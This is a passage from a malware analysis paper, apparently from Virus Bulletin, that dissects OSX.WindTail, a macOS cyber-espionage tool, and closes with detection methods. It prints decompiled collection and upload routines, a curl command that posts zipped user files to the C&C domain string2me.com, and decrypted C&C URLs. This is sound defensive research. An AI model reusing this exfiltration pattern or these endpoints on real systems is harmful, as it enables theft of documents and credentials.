fs_usage:\r\n# fs_usage -w -f filesystem | grep -i usrnode\r\nopen /Users/user/Desktop/Final_Presentation.app\r\nmkdir /Users/user/Library/Final_Presentation.app\r\n...\r\nThough the normal user is unlikely to be poking around in the ~/Library folder, if they did (and their Mac was infected with\r\nOSX.WindTail), the malware would be rather hard to miss, as shown in Figure 15.\r\nhttps://www.virusbulletin.com/virusbulletin/2020/04/vb2019-paper-cyber-espionage-middle-east-unravelling-osxwindtail/\r\nPage 18 of 29\n\nFigure 15: In the ~/Library folder the malware is hard to miss.\r\nThe malware then executes the installed copy via the ‘open’ command. This can be observed via the author’s open-source\r\nprocess monitor library, ProcInfo [6]:\r\n# ./procInfo\r\n[ process start]\r\npid: 917\r\npath: /usr/bin/open\r\nuser: 501\r\nargs: (\r\n open,\r\n \"-a\",\r\n \"/Users/user/Library/Final_Presentation.app\"\r\n)\r\nRecall that as soon as the malware (or its copy) is launched, it persists itself a login item. Amusingly, this means that both\r\nthe original malware and its installed copy will both be persisted.\r\nhttps://www.virusbulletin.com/virusbulletin/2020/04/vb2019-paper-cyber-espionage-middle-east-unravelling-osxwindtail/\r\nPage 19 of 29\n\nFigure 16: Both the original malware and its installed copy will be persisted.\r\nOSX.WindTail: payload\r\nAt this point the malware has been installed and persisted (twice). But the question remains, what does the malware actually\r\ndo?\r\nVia the ‘init’ method of ‘appdele’ (recall, invoked via the ‘tuffel’ method), the malware invokes a method named ‘yan’.\r\n/* @class appdele */\r\n-(void *)yan {\r\n var_30 = [self yoop:@\"BouCfWujdfbAUfCos/iIOg==\"];\r\n [self yoop:@\"Bk0WPpt0IFFT30CP6ci9jg==\"];\r\n [self yoop:@\"RYfzGQY52uA9SnTjDWCugw==\"];\r\n [self yoop:@\"XCrcQ4M8lnb1sJJo7zuLmQ==\"];\r\n [self yoop:@\"3J1OfDEiMfxgQVZur/neGQ==\"];\r\n [self yoop:@\"Nxv5JOV6nsvg/lfNuk3rWw==\"];\r\n [self yoop:@\"Es1qIvgb4wmPAWwlagmNYQ==\"];\r\n [self yoop:@\"eOA0XJNs/eeFUVMThfZjTA==\"];\r\n [self yoop:@\"B/9RICA+yl4vZrIeyON8cQ==\"];\r\n [self yoop:@\"B8fvRmZ1LJ74Q5OiD9KISw==\"];\r\n rax = [NSMutableArray arrayWithObjects:var_30];\r\n return rax;\r\n}\r\nVia calls to the string decryption method ‘yop’, the ‘yan’ method appears to return an array of the decrypted strings. A\r\ndebugger can be used to decrypt theses strings. Specifically, one can set a breakpoint on the method (address:\r\nhttps://www.virusbulletin.com/virusbulletin/2020/04/vb2019-paper-cyber-espionage-middle-east-unravelling-osxwindtail/\r\nPage 20 of 29\n\n0x000000010000238b). Once this breakpoint is hit, executing lldb’s ‘finish’ command will execute the entire method, then\r\nstop as soon as it returns. Now, a pointer to the array of decrypted strings (that appear to be file extensions) will be held in\r\nthe RAX register.\r\n(lldb) b 0x000000010000238b\r\n(lldb) c\r\n...\r\n-\u003e 0x10000238b \u003c+0\u003e: pushq %rbp\r\n 0x10000238c \u003c+1\u003e: movq %rsp, %rbp\r\n 0x10000238f \u003c+4\u003e: pushq %r15\r\n 0x100002391 \u003c+6\u003e: pushq %r14\r\n(lldb) finish\r\n(lldb) po $rax\r\n\u003c__NSArrayM 0x10018f920\u003e(\r\ndoc, docx, ppt, pdf, xls,\r\nxlsx, db, txt, rtf, pptx)\r\nAnother interesting method is named ‘fist’ (invoked via the ‘df’ method, which is scheduled via an NSTimer).\r\nThe ‘fist’ method is rather large, but perusing its decompilation reveals the invocation of Apple APIs such as\r\n‘contentsOfDirectoryAtPath’, ‘pathExtension’, and (string) comparisons. It seems reasonable to assume it is enumerating\r\nfiles, perhaps looking for files that match the previously decrypted file extensions.\r\nSetting various breakpoints within the ‘fist’ method reveals the malware first enumerating and building a list of directories:\r\n(lldb) po $rdi\r\n\u003c__NSArrayM 0x10018e360\u003e(\r\n/Library,\r\n/net,\r\n/Network,\r\n/private,\r\n/sbin,\r\n/System,\r\n/Users,\r\n/usr,\r\n/vm,\r\n/Volumes,\r\n/Applications/App Store.app,\r\n/Applications/Automator.app,\r\n/Applications/Calculator.app,\r\n/Applications/Calendar.app,\r\n/Applications/Chess.app,\r\n/Applications/Contacts.app,\r\n/Applications/Dashboard.app,\r\n/Applications/Dictionary.app,\r\n/Applications/DVD Player.app,\r\n...\r\nThe malware then adds files that match the (previously) decrypted file extensions (doc, db, rtf, etc.) to an array (named\r\n‘honk’):\r\nhttps://www.virusbulletin.com/virusbulletin/2020/04/vb2019-paper-cyber-espionage-middle-east-unravelling-osxwindtail/\r\nPage 21 of 29\n\n(lldb) po $rdx\r\n\u003c__NSArrayM 0x1001aafc0\u003e(\r\n{\r\n \"KEY_ATTR\" = {\r\n  NSFileCreationDate = \"2017-09-26 06:58:34 +0000\";\r\n  NSFileExtensionHidden = 0;\r\n  NSFileGroupOwnerAccountID = 0;\r\n  NSFileGroupOwnerAccountName = wheel;\r\n  NSFileHFSCreatorCode = 0;\r\n  NSFileHFSTypeCode = 0;\r\n  NSFileModificationDate = \"2017-09-26 07:01:34 +0000\";\r\n  NSFileOwnerAccountID = 0;\r\n  NSFileOwnerAccountName = root;\r\n  NSFilePosixPermissions = 420;\r\n  NSFileReferenceCount = 1;\r\n  NSFileSize = 57344;\r\n  NSFileSystemFileNumber = 890895;\r\n  NSFileSystemNumber = 16777218;\r\n  NSFileType = NSFileTypeRegular;\r\n };\r\n \"KEY_PATH\" = \"/Library/Application Support/com.apple.TCC/TCC.db\";\r\n},\r\n{\r\n \"KEY_ATTR\" = {\r\n  NSFileCreationDate = \"2017-07-15 23:45:04 +0000\";\r\n  NSFileExtensionHidden = 0;\r\n  NSFileGroupOwnerAccountID = 0;\r\n  NSFileGroupOwnerAccountName = wheel;\r\n  NSFileHFSCreatorCode = 0;\r\n  NSFileHFSTypeCode = 0;\r\n  NSFileModificationDate = \"2017-07-15 23:45:04 +0000\";\r\n  NSFileOwnerAccountID = 0;\r\n  NSFileOwnerAccountName = root;\r\n  NSFilePosixPermissions = 384;\r\n  NSFileReferenceCount = 1;\r\n  NSFileSize = 272;\r\n  NSFileSystemFileNumber = 869137;\r\n  NSFileSystemNumber = 16777218;\r\n  NSFileType = NSFileTypeRegular;\r\n };\r\n \"KEY_PATH\" = \"/private/etc/racoon/psk.txt\";\r\n}\r\n)\r\nFor each of the files that the ‘fist’ method added to the ‘honk’ array, the malware invokes a method, aptly named ‘zip’, and\r\ninvokes macOS’s built-in zip utility to create an archive of the file:\r\n/* @class image */\r\n-(void)zip {\r\n r14 = [@\"/tmp/\" stringByAppendingPathComponent:[rbx-\u003em_filePath\r\n   lastPathComponent]];\r\nhttps://www.virusbulletin.com/virusbulletin/2020/04/vb2019-paper-cyber-espionage-middle-east-unravelling-osxwindtail/\r\nPage 22 of 29\n\n...\r\nrax = [r14 stringByAppendingString:@\".zip\"];\r\n ...\r\n rax = (r14)(@class(NSArray), @selector(arrayWithObjects:), @\"/usr/bin/zip\",\r\n *(rbx + r12), rbx-\u003em_filePath, 0x0);\r\n rax = (r14)(r15, @selector(initWithController:arguments:), rbx, rax);\r\n *(rbx + r13) = rax;\r\n (r14)(rax, @selector(startProcess), rbx);\r\n return;\r\n}\r\nThis may be passively observed via the ProcInfo [6] process monitoring utility (here, for example, the zip archive is created\r\nfrom the file StopTemplate.pdf):\r\n# ./procInfo\r\n[ process start]\r\npid: 1202\r\npath: /usr/bin/zip\r\nargs: (\r\n \"/usr/bin/zip\",\r\n \"/tmp/StopTemplate.pdf.zip\",\r\n \"/Applications/Automator.app/Contents/Resources/StopTemplate.pdf\"\r\n)\r\nOnce the file has been zipped up the malware invokes a method named ‘upload’:\r\n/* @class image */\r\n-(void)upload {\r\n ...\r\n r14 = [tofg alloc];\r\n if (r12-\u003em_State == 0x1) {\r\n  var_30 = [@\"vast=@\" stringByAppendingString:r12-\u003em_tempPath];\r\n  [@\"od=\" stringByAppendingString:r12-\u003em_ComputerName_UserName];\r\n  [@\"kl=\" stringByAppendingString:r12-\u003econt];\r\n  r8 = var_30;\r\n  rax = [NSArray arrayWithObjects:@\"/usr/bin/curl\"]; rdx = r12;\r\n  rax = [r14 initWithController:rdx arguments:rax]; }\r\n else {\r\n  rax = [NSArray arrayWithObjects:@\"/usr/bin/curl\"]; rcx = rax;\r\n  rax = [r14 initWithController:rdx arguments:rcx];\r\n }\r\n [rax startProcess];\r\n return;\r\n}\r\nReferences to ‘curl’ (/usr/bin/curl) in this method illustrate that the malware is exfiltrating the files by (ab)using this built-in\r\nnetwork utility. This can be confirmed via ProcInfo [6] (which also reveals the network endpoint\r\n‘string2me.com/qgHUDRZiYhOqQiN/kESklNvxsNZQcPl.php’):\r\nhttps://www.virusbulletin.com/virusbulletin/2020/04/vb2019-paper-cyber-espionage-middle-east-unravelling-osxwindtail/\r\nPage 23 of 29\n\n# ./procInfo\r\n[ process start]\r\npid: 1258\r\npath: /usr/bin/curl\r\nuser: 501\r\nargs: (\r\n \"/usr/bin/curl\",\r\n \"-F\",\r\n \"vast=@/tmp/StopTemplate.pdf.zip\",\r\n \"-F\",\r\n \"od=1601201920543863\",\r\n \"-F\",\r\n \"kl=users-mac.lan-user\",\r\n \"string2me.com/qgHUDRZiYhOqQiN/kESklNvxsNZQcPl.php\"\r\n)\r\nThe man page for curl states that the ‘-F’ flag will post data, and when ‘@’ is specified, curl will process the input as a file:\r\n$ man curl\r\n...\r\n-F, --form \u003cname=content\u003e\r\n(HTTP) This lets curl emulate a filled-in form in which a user has pressed the submit button. This causes curl\r\nExample: to send an image to a server, where 'profile' is the name of the formfield to which portrait.jpg will\r\nhttps://example.com/upload.cgi\r\nA Wireshark [7] capture also illustrates the exfiltration attempt to string2me.com (though the C\u0026C server returned a 403\r\nerror), as shown in Figure 17.\r\nFigure 17: Exfiltration to string2me.com is attempted.\r\nhttps://www.virusbulletin.com/virusbulletin/2020/04/vb2019-paper-cyber-espionage-middle-east-unravelling-osxwindtail/\r\nPage 24 of 29\n\nThrough static and dynamic analysis, we illustrated OSX.WindTail’s ultimate goal: to persistently exfiltrate files (such as\r\ndocuments) to a remote server. This capability fits nicely into an offensive cyber-espionage operation, such as the one\r\norchestrated by the WINDSHIFT APT group.\r\nOSX.WindTail: C\u0026C servers\r\nAs noted, ProcInfo [6] and Wireshark observed the malware invoking curl to exfiltrate files to its command-and-control\r\nserver, string2me.com.\r\nHowever this string does not appear in plaintext in the malware’s binary:\r\n# grep string2me.com Final_Presentation.app/Contents/MacOS/usrnode | wc\r\n0 0 0\r\nThis is unsurprising as malware authors often obfuscate or encrypt such strings to hinder analysis.\r\nRecall that the malware invokes the ‘yoop’ method to decrypt embedded strings. By setting a breakpoint on this method, one\r\ncan observe the malware dynamically decrypting and decoding strings.\r\nFor example, the malware’s ‘mydel’ method appears to attempt to connect to the attacker’s C\u0026C servers. By waiting until (a\r\ndebugged instance of) the malware invokes this method, the addresses of the C\u0026C servers can be recovered:\r\n(lldb) x/s 0x0000000100350a40\r\n0x100350a40: \"string2me.com/qgHUDRZiYhOqQiN/kESklNvxsNZQcPl.php\r\n...\r\n(lldb) x/s 0x0000000100352fe0\r\n0x100352fe0: \"http://flux2key.com/liaROelcOeVvfjN/fsfSQNrIyxeRvXH.php?\r\nvery=%@\u0026xnvk=%@\r\nThese C\u0026C domains (string2me.com and flux2key.com) are both WINDSHIFT domains, as noted by Karim in an interview\r\nwith iTWire [8]: ‘... the domains string2me.com and flux2key.com identified as associated with these attacks.’\r\nNote: Currently both C\u0026C servers appear to be offline:\r\n$ ping flux2key.com\r\nping: cannot resolve flux2key.com: Unknown host\r\n$ nslookup flux2key.com\r\nServer: 8.8.8.8\r\nAddress: 8.8.8.8#53\r\n** server can’t find flux2key.com: SERVFAIL\r\nOSX.WindTail: self-delete logic\r\nLet’s briefly revisit the malware’s implementation of the ‘applicationDidFinishLaunching’ delegate method:\r\n-(void)applicationDidFinishLaunching:(void *)arg2\r\n{\r\n ...\r\n [r15 tuffel];\r\nhttps://www.virusbulletin.com/virusbulletin/2020/04/vb2019-paper-cyber-espionage-middle-east-unravelling-osxwindtail/\r\nPage 25 of 29\n\n[NSThread detachNewThreadSelector:@selector(mydel) toTarget:r15 withObject:0x0];\r\n}\r\nNote that at the end, the malware spins off a new thread (via the ‘detachNewThreadSelector’ method) to execute a method\r\nnamed ‘mydel’.\r\n/* @class AppDelegate */\r\n-(void)mydel {\r\n ...\r\n r14 = [NSString stringWithFormat:@\"%@\", [self yoop:@\"F5Ur0CCFMO/\r\n fWHjecxEqGLy/...\"]];\r\n rbx = [[NSMutableURLRequest alloc] init];\r\n [rbx setURL:[NSURL URLWithString:r14]];\r\n ...\r\n if ([[[NSString alloc] initWithData:[NSURLConnection sendSynchronousRequest:rbx\r\n  returningResponse:0x0 error:0x0] encoding:0x4] isEqualToString:@\"1\"] != 0x0) {\r\n   r14 = [NSFileManager defaultManager];\r\n   rdx = [[NSBundle mainBundle] bundlePath];\r\n   [r14 removeItemAtPath:rdx error:rcx];\r\n   [[NSApplication sharedApplication] terminate:0x0, rcx];\r\n }\r\n return;\r\n}\r\nAs shown in the above decompilation, the ‘mydel’ method performs the following:\r\n1. Generates a URL request from an encrypted string.\r\n2. Makes a network request to this URL\r\n3. If the request returns a string that equals ‘1’:\r\n4. Deletes itself\r\n5. Terminates itself\r\nNote: The encrypted string decrypts to a URL: http://flux2key.com/liaROelcOeVvfjN/fsfSQNrIyxeRvXH.php?\r\nvery=%@\u0026xnvk=%@\r\nThough this C\u0026C server was offline at the time of analysis, if the server returns a ‘1’ the malware will delete itself and then\r\nimmediately terminate. It’s rather neat to see a ‘remotely triggerable’ self-deletion capability built directly into the malware!\r\nOSX.WindTail: detection\r\nWhen OSX.WindTail samples were submitted to VirusTotal, many of the specimens were initially undetected, as shown in\r\nFigure 18.\r\nhttps://www.virusbulletin.com/virusbulletin/2020/04/vb2019-paper-cyber-espionage-middle-east-unravelling-osxwindtail/\r\nPage 26 of 29\n\nFigure 18: Most samples were initially undetected.\r\nNote: It should be noted that for any particular AV engine (on VirusTotal), said engine may only be one (small?) piece of a\r\nmore complete security product. That is to say, a company’s comprehensive security product may also include a behaviour-based engine (not included on VirusTotal) that perhaps could generically detect this new threat.\r\nAlthough OSX.WindTail is utilized by a fairly advanced APT group, in reality it is rather easy to detect, albeit via heuristics.\r\nFor example, by monitoring persistence events (such the programmatic installation of a login item) one may be able to\r\ndetect the malware during its installation and persistence phase. In Figure 19, BlockBlock [9] detects OSX.WindTail’s\r\npersistence.\r\nFigure 19: BlockBlock proactively detects OSX.WindTail.\r\nOf course, a firewall product such as the free, open-source LuLu [10] would be able to detect the malware’s unauthorized\r\nnetwork connections (e.g. to its C\u0026C server).\r\nOn a system that has been infected, a tool such as KnockKnock [11], that enumerates persistently installed software, can\r\ngenerically detect OSX.WindTail (and other persistence threats as well), as shown in Figure 20.\r\nhttps://www.virusbulletin.com/virusbulletin/2020/04/vb2019-paper-cyber-espionage-middle-east-unravelling-osxwindtail/\r\nPage 27 of 29\n\nFigure 20: KnockKnock reactively detects OSX.WindTail.\r\nOne can also manually check for an infection by looking for a suspicious login item via the System Preferences application,\r\nand/or for the presence of suspicious application in the ‘~/Library/’ folder (probably with a Microsoft Office icon, and\r\nperhaps an invalid code signature). Deleting any such applications and login item will remove the malware.\r\nNote: If an infection is uncovered (which is rather unlikely, unless you’re a government official in a specific Middle Eastern\r\ncountry), as is the case with any malware infection, it’s best to fully wipe your system and reinstall macOS.\r\nConclusion\r\nIt’s not every day that the Mac capabilities of an APT or ‘nation-state’ group are uncovered. However, OSX.WindTail\r\n(belonging to the WINDSHIFT APT group) provided an interesting case study of such a tool.\r\nIn this paper, we comprehensively analysed OSX.WindTail, detailing its exploit vector, installation logic, method of\r\npersistence, and file extfiltration capabilities. Moreover, our research discussed decryption routines to uncover addresses of\r\nthe malware’s C\u0026C servers and highlighted its remote self-delete logic.\r\nTo conclude, we presented heuristic methods of detection that can generically detect OSX.WindTail, as well as other\r\nadvanced macOS threats. Our hope is that such detection methods will become more widely and generically adopted in\r\nsecurity tools and thus, that Mac users will remain safe and secure.\r\nReferences\r\n[1] Karm, T. In the Trails of WindShift APT. Hack in the Box GSEC.\r\nhttps://gsec.hitb.org/materials/sg2018/D1%20COMMSEC%20-\r\n%20In%20the%20Trails%20of%20WINDSHIFT%20APT%20-%20Taha%20Karim.pdf.\r\n[2] Brewster, T. Hackers Are Exposing An Apple Mac Weakness In Middle East Espionage. Forbes. August 2018.\r\nhttps://www.forbes.com/sites/thomasbrewster/2018/08/30/apple-mac-loophole-breached-in-middle-east-hacks/#36d3c3b06fd6.\r\n[3] Wardle, P. Click File, App Opens. Objective-See. August 2016. https://objective-see.com/blog/blog_0x12.html.\r\n[4] Apple Developer Documentation. Information Property List Key Reference.\r\nhttps://developer.apple.com/library/archive/documentation/General/Reference/InfoPlistKeyReference/Articles/CoreFoundationKey\r\nhtml#//apple_ref/doc/uid/20001431-101685.\r\nhttps://www.virusbulletin.com/virusbulletin/2020/04/vb2019-paper-cyber-espionage-middle-east-unravelling-osxwindtail/\r\nPage 28 of 29\n\n[5] Apple Developer Documentation. applicationDidFinishLaunching:.\r\nhttps://developer.apple.com/documentation/appkit/nsapplicationdelegate/1428385-applicationdidfinishlaunching?\r\nlanguage=objc.\r\n[6] ProcInfo, Process Monitor. https://github.com/objective-see/ProcInfo/tree/master/procInfo.\r\n[7] WireShark. https://www.wireshark.org/.\r\n[8] Varghese, S. Researcher unsure if Apple has acted to curb malware. iTWire. September 2018.\r\nhttps://www.itwire.com/security/84324-researcher-unsure-if-apple-has-actedto-curb-malware.html.\r\n[9] BlockBlock. https://objective-see.com/products/blockblock.html.\r\n[10] LuLu. https://objective-see.com/products/lulu.html.\r\n[11] KnockKnock. https://objective-see.com/products/knockknock.html.\r\nSource: https://www.virusbulletin.com/virusbulletin/2020/04/vb2019-paper-cyber-espionage-middle-east-unravelling-osxwindtail/\r\nhttps://www.virusbulletin.com/virusbulletin/2020/04/vb2019-paper-cyber-espionage-middle-east-unravelling-osxwindtail/\r\nPage 29 of 29",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia"
	],
	"origins": [
		"web"
	],
	"references": [
		"https://www.virusbulletin.com/virusbulletin/2020/04/vb2019-paper-cyber-espionage-middle-east-unravelling-osxwindtail/"
	],
	"report_names": [
		"vb2019-paper-cyber-espionage-middle-east-unravelling-osxwindtail"
	],
	"threat_actors": [
		{
			"id": "6bd4ed50-e116-494c-bb70-9587876663f1",
			"created_at": "2023-01-06T13:46:39.004062Z",
			"updated_at": "2026-04-10T02:00:03.178044Z",
			"deleted_at": null,
			"main_name": "WindShift",
			"aliases": [
				"Windy Phoenix"
			],
			"source_name": "MISPGALAXY:WindShift",
			"tools": [],
			"source_id": "MISPGALAXY",
			"reports": null
		},
		{
			"id": "68f12936-2361-4720-87e1-b79a4fdbf1a0",
			"created_at": "2022-10-25T16:07:24.409855Z",
			"updated_at": "2026-04-10T02:00:04.978227Z",
			"deleted_at": null,
			"main_name": "WindShift",
			"aliases": [
				"G0112",
				"Windy Phoenix"
			],
			"source_name": "ETDA:WindShift",
			"tools": [
				"WindTail"
			],
			"source_id": "ETDA",
			"reports": null
		},
		{
			"id": "ada9e5d3-1cb2-4b70-a3c8-96808c304ac8",
			"created_at": "2022-10-25T15:50:23.6515Z",
			"updated_at": "2026-04-10T02:00:05.352078Z",
			"deleted_at": null,
			"main_name": "Windshift",
			"aliases": [
				"Windshift",
				"Bahamut"
			],
			"source_name": "MITRE:Windshift",
			"tools": [
				"WindTail"
			],
			"source_id": "MITRE",
			"reports": null
		}
	],
	"ts_created_at": 1775434579,
	"ts_updated_at": 1775826760,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/512479da6af4e92b9d86b6eb8a5fcf5e9f21df9d.pdf",
		"text": "https://archive.orkl.eu/512479da6af4e92b9d86b6eb8a5fcf5e9f21df9d.txt",
		"img": "https://archive.orkl.eu/512479da6af4e92b9d86b6eb8a5fcf5e9f21df9d.jpg"
	}
}